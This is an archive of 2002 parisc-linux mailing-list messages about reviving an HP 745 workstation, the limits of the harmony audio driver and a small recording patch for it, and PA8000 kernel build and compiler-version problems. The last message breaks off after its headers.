From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] my find... (and a plea for advice)
Date: Fri, 21 Jun 2002 13:54:53 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20020621175453.GA9039@systemhalted>
References: <1024672425.3d1342a9668b1@mail.tedlove.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621423 9265 80.91.229.3 (22 Nov 2014 01:57:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ted Love <ted@tedlove.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 11:55:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C8214831
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 11:55:03 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17LScX-0002Og-00; Fri, 21 Jun 2002 13:54:53 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ted Love <ted@tedlove.com>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1024672425.3d1342a9668b1@mail.tedlove.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (63% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15183

> The other day, I stumbled on to an HP 745 machine.  Figuring I could 
> do "something" with it, and having the urge to dive into playing with a RISC 
> box(and another linux machine), I stumbled on to your community here.

What types of monitors have you connected to the box?
A good multi-sync should do... anything that can handle 1280x1024.

Without an HIL keyboard you are still in trouble since you can't
set the console to serial. 

And if you can't access the console you can't change the primary
boot path to LAN.

c.




From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] my find... (and a plea for advice)
Date: Fri, 21 Jun 2002 11:06:30 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20020621110630.A12946@zouave.sonic.net>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621423 9268 80.91.229.3 (22 Nov 2014 01:57:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 12:06:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id D409A4877
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 12:06:32 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id EB46866E1
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 11:06:31 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id EF6A7A3; Fri, 21 Jun 2002 11:06:30 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15184

} > The other day, I stumbled on to an HP 745 machine.  Figuring I could 
} > do "something" with it, and having the urge to dive into playing with a RISC 
} > box(and another linux machine), I stumbled on to your community here.
} 
} What types of monitors have you connected to the box?
} A good multi-sync should do... anything that can handle 1280x1024.

The 745s have a 4 switch DIP switch on the motherboard.  Switches 2 and
3 are used to set the video resolution.

Switch 2 | Switch 3  |    Video Mode
-------------------------------------------
  DOWN   |   DOWN    | 1024x768 @ 72 Hz
  DOWN   |    UP     | 1280x1024 @ 72 Hz
   UP    |   DOWN    | 1024x768 @ 60 Hz
   UP    |    UP     |  Will Not Boot


-- 

   E Frank Ball                frankb@efball.com



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 21:28:52 +0100 (IST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206212123170.4556-100000@sal.ucc.ie>
References: <20020621143955.GB1385@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621423 9269 80.91.229.3 (22 Nov 2014 01:57:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 14:29:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA2794873
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 14:29:11 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id VAA31327;
	Fri, 21 Jun 2002 21:28:59 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020621143955.GB1385@tykepenguin.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15185

Hi palinuxer,

On Fri, 21 Jun 2002, Patrick Caulfield wrote:

> The driver is called "harmony" - I have mine hard compiled into the kernel.
>
> patrick

This reminds me of something I wanted to ask for a long time:

It seems that the harmony mixer is not perfectly supported;
Volume doesn't work, and there are just two things I can change,
IGain and OGain (latter effects the Output volume).
There is not even a way to change the balance etc.
Moreover most applications expect at least "volume" to be working,
so this is kind of annoying. Despite this it's working flawlessly!

So to the question: is there any work planned in improving harmony
support (in the near future) ? E.g. an enhanced mixer support and
support for recording?

greetings max





From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA8000 modutils problems
Date: Fri, 21 Jun 2002 21:52:20 +0100 (IST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621424 9273 80.91.229.3 (22 Nov 2014 01:57:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 14:52:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C38C487F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 14:52:26 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id VAA28360
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 21:52:27 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15186

Hi, I have some problems in compiling the latest kernels;

I tried pa35 (32bit), which caused unaligned address traps during boot
(IIRC it was e2fsck).
I rebooted with pa20, which worked (but has the known IO problems,
i.e. copying a full CD to hard disk with lock up the machine).
Later I tried compiling pa39 (32bit), but depmod reported
"unhandled relocation of type 74" for each function in each module.
Compiling 64bit with the (quite old) unofficial debs worked however,
but there are some "unresolved symbols" in a few (=4) modules,
each time the symbol is "__xchg64". I'm quite sure that in former times
all modules worked. Since these modules are not important to me
(smbfs and some ipv6 netfilter modules) there is no hurry ;)

I always compiled for the "PA8000" processor type; I know there were some
issues with the PA8000 optimization and modutils, but remeber that these
were fixed. Is this a regression ?

So far I'm running a 64bit kernel (because it's the only way it works),
but I want to stick to a 32bit kernel, because they may be more stable.

However I didn't try selecting any other CPU type (was just too lazy);
though there is a good chance that this would solve the modules problem.

BTW, I'm running debian/sid, updated yesterday.

One more question: is it a good idea to compile with gcc-3.1,
e.g. make CC=gcc-3.1 HOSTCC=gcc-3.1 vmlinux ?
Does gcc-3.1 generate better code (better optimized, fewer bugs?) or
should I stick to gcc-3.0 since this is the "recommended" compiler
(or at least the one the kernel developers use and know)

thanks in advance, max
--
I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.








From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Fri, 21 Jun 2002 17:25:03 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <200206212125.g5LLP37O028451@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621424 9275 80.91.229.3 (22 Nov 2014 01:57:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 15:25:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2FA0487B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 15:25:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5LLP4FN028452;
	Fri, 21 Jun 2002 17:25:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5LLP37O028451;
	Fri, 21 Jun 2002 17:25:03 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie> from "M. Grabert" at Jun 21, 2002 09:52:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15187

> Hi, I have some problems in compiling the latest kernels;
> 
> I tried pa35 (32bit), which caused unaligned address traps during boot
> (IIRC it was e2fsck).
> I rebooted with pa20, which worked (but has the known IO problems,
> i.e. copying a full CD to hard disk with lock up the machine).
> Later I tried compiling pa39 (32bit), but depmod reported
> "unhandled relocation of type 74" for each function in each module.
> Compiling 64bit with the (quite old) unofficial debs worked however,
> but there are some "unresolved symbols" in a few (=4) modules,
> each time the symbol is "__xchg64". I'm quite sure that in former times
> all modules worked. Since these modules are not important to me
> (smbfs and some ipv6 netfilter modules) there is no hurry ;)

Depmod does it own limited handling of relocations.  You probably
need to stick with the recommended compiler (debian 3.0.4 and binutils)
to be compatible with the relocation capability of depmod.  The
alignment issues also are likely a result of using 3.1.  BIGGEST_ALIGNMENT
was changed last Feb. to 128 bits to allow struct alignment suitable
for the ldcw semaphore insn.  I believe the deb version of gcc was
patched to do this as well.

> 
> I always compiled for the "PA8000" processor type; I know there were some
> issues with the PA8000 optimization and modutils, but remeber that these
> were fixed. Is this a regression ?

This only affects the scheduling of insns.  As far as I am aware,
there are no scheduling related bugs for any of the scheduling
models.  PA8000 will be the default for PA2.0 machines in 3.2.

Now, there is a known issue with PA2.0 code generation.  It affects
floating point loads from symbolic memory locations using the 32-bit
elf tools.  As a result, the code generation default is still PA1.1.
I'm planning to change this to PA2.0 for PA2.0 machines when the
assembler bug is fixed.

> One more question: is it a good idea to compile with gcc-3.1,
> e.g. make CC=gcc-3.1 HOSTCC=gcc-3.1 vmlinux ?
> Does gcc-3.1 generate better code (better optimized, fewer bugs?) or
> should I stick to gcc-3.0 since this is the "recommended" compiler
> (or at least the one the kernel developers use and know)

I would use the recommended compiler for the kernel.  It's difficult
to compare the debian patched versions with the vanilla FSF versions.
In general, 3.1 has fewer bugs than 3.0.  However, I doubt that it
is significantly better optimized.  For C++ apps, I would probably
go with a 3.2 snap because it has dw2 eh.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Fri, 21 Jun 2002 23:51:01 +0100 (IST)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206212339430.5644-100000@sal.ucc.ie>
References: <200206212125.g5LLP37O028451@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621424 9278 80.91.229.3 (22 Nov 2014 01:57:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 16:51:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id B78DB4874
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 16:51:04 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id XAA27176;
	Fri, 21 Jun 2002 23:51:07 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200206212125.g5LLP37O028451@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15188

On Fri, 21 Jun 2002, John David Anglin wrote:

> > I tried pa35 (32bit), which caused unaligned address traps during boot
> > (IIRC it was e2fsck).
> > I rebooted with pa20, which worked (but has the known IO problems,
> > i.e. copying a full CD to hard disk with lock up the machine).
> > Later I tried compiling pa39 (32bit), but depmod reported
> > "unhandled relocation of type 74" for each function in each module.
> > Compiling 64bit with the (quite old) unofficial debs worked however,
> > but there are some "unresolved symbols" in a few (=4) modules,
> > each time the symbol is "__xchg64". I'm quite sure that in former times
> > all modules worked. Since these modules are not important to me
> > (smbfs and some ipv6 netfilter modules) there is no hurry ;)

I think the unsresolve symbols are just simple programmers bugs which
will 'autmagically' be fixed in later kernels. At least this happened to
me quite a few times (on different platforms, different kernels & modules)

> Depmod does it own limited handling of relocations.  You probably
> need to stick with the recommended compiler (debian 3.0.4 and binutils)
> to be compatible with the relocation capability of depmod.  The
> alignment issues also are likely a result of using 3.1.  BIGGEST_ALIGNMENT
> was changed last Feb. to 128 bits to allow struct alignment suitable
> for the ldcw semaphore insn.  I believe the deb version of gcc was
> patched to do this as well.

I forgot to mention that I used 'gcc' (thus 3.0) to compile -pa39
(32bit, and 'hppa64-gcc' for 64bit). I'm quite sure about that.

However I'm have to agree that I used gcc-3.1 for the not
correctly working -pa35 (unaligned address). That's the reason why
I chose to use the default gcc for compiling -pa39!

Therefore the depmod issue is IMHO due to some other error ...

> Now, there is a known issue with PA2.0 code generation.  It affects
> floating point loads from symbolic memory locations using the 32-bit
> elf tools.  As a result, the code generation default is still PA1.1.
> I'm planning to change this to PA2.0 for PA2.0 machines when the
> assembler bug is fixed.

So what is the point in choosing the PA8000 anyway ? ;)
Oh, I forgot; to be able to select 64bit kernel!

Thanks alot for the quick answer!

Greeting max

-- 
I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.








From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Mcclain <jmccla3@gl.umbc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 20:11:33 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31L.02.0206212008460.5960-100000@linux2.gl.umbc.edu>
References: <Pine.LNX.4.44.0206212123170.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621425 9280 80.91.229.3 (22 Nov 2014 01:57:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:05 +0000 (UTC)
Cc: Patrick Caulfield <patrick@tykepenguin.com>,
	<parisc-linux@lists.parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 18:11:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx2out.umbc.edu (mx2out.umbc.edu [130.85.253.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id C53B24832
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 18:11:35 -0600 (MDT)
Original-Received: from linux2.gl.umbc.edu (linux2.gl.umbc.edu [130.85.60.16])
	by mx2out.umbc.edu (8.12.0/8.12.0/UMBC-Central 1.11 mxout  1.2.2.3 $) with ESMTP id g5M0BXnv020495;
	Fri, 21 Jun 2002 20:11:33 -0400 (EDT)
Original-Received: from localhost (jmccla3@localhost)
	by linux2.gl.umbc.edu (8.12.1/8.12.0) with ESMTP id g5M0BX6C006043;
	Fri, 21 Jun 2002 20:11:34 -0400
X-Authentication-Warning: linux2.gl.umbc.edu: jmccla3 owned process doing -bs
In-Reply-To: <Pine.LNX.4.44.0206212123170.4556-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15189

Dear Max,

i cannot speak to the mixer and gain issues, but i can offer something
with regard to recording:  adding lines:

	case SNDCTL_DSP_SYNC:
	return 0;

to the ioctl swith statment in drivers/sound/harmony.c (line 727 or there
abouts) will allow you to use sox to record (i have been able to
succesfully record using sox after adding this change).

best regards,
james w. mcclain

 On Fri, 21 Jun
2002, M. Grabert wrote:

> Hi palinuxer,
>
> On Fri, 21 Jun 2002, Patrick Caulfield wrote:
>
> > The driver is called "harmony" - I have mine hard compiled into the kernel.
> >
> > patrick
>
> This reminds me of something I wanted to ask for a long time:
>
> It seems that the harmony mixer is not perfectly supported;
> Volume doesn't work, and there are just two things I can change,
> IGain and OGain (latter effects the Output volume).
> There is not even a way to change the balance etc.
> Moreover most applications expect at least "volume" to be working,
> so this is kind of annoying. Despite this it's working flawlessly!
>
> So to the question: is there any work planned in improving harmony
> support (in the near future) ? E.g. an enhanced mixer support and
> support for recording?
>
> greetings max
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Fri, 21 Jun 2002 21:39:05 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200206220139.g5M1d6PS029066@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0206212339430.5644-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621425 9281 80.91.229.3 (22 Nov 2014 01:57:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 19:39:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95D174833
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 19:39:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5M1d6FN029067;
	Fri, 21 Jun 2002 21:39:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5M1d6PS029066;
	Fri, 21 Jun 2002 21:39:06 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.44.0206212339430.5644-100000@sal.ucc.ie> from "M. Grabert" at Jun 21, 2002 11:51:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
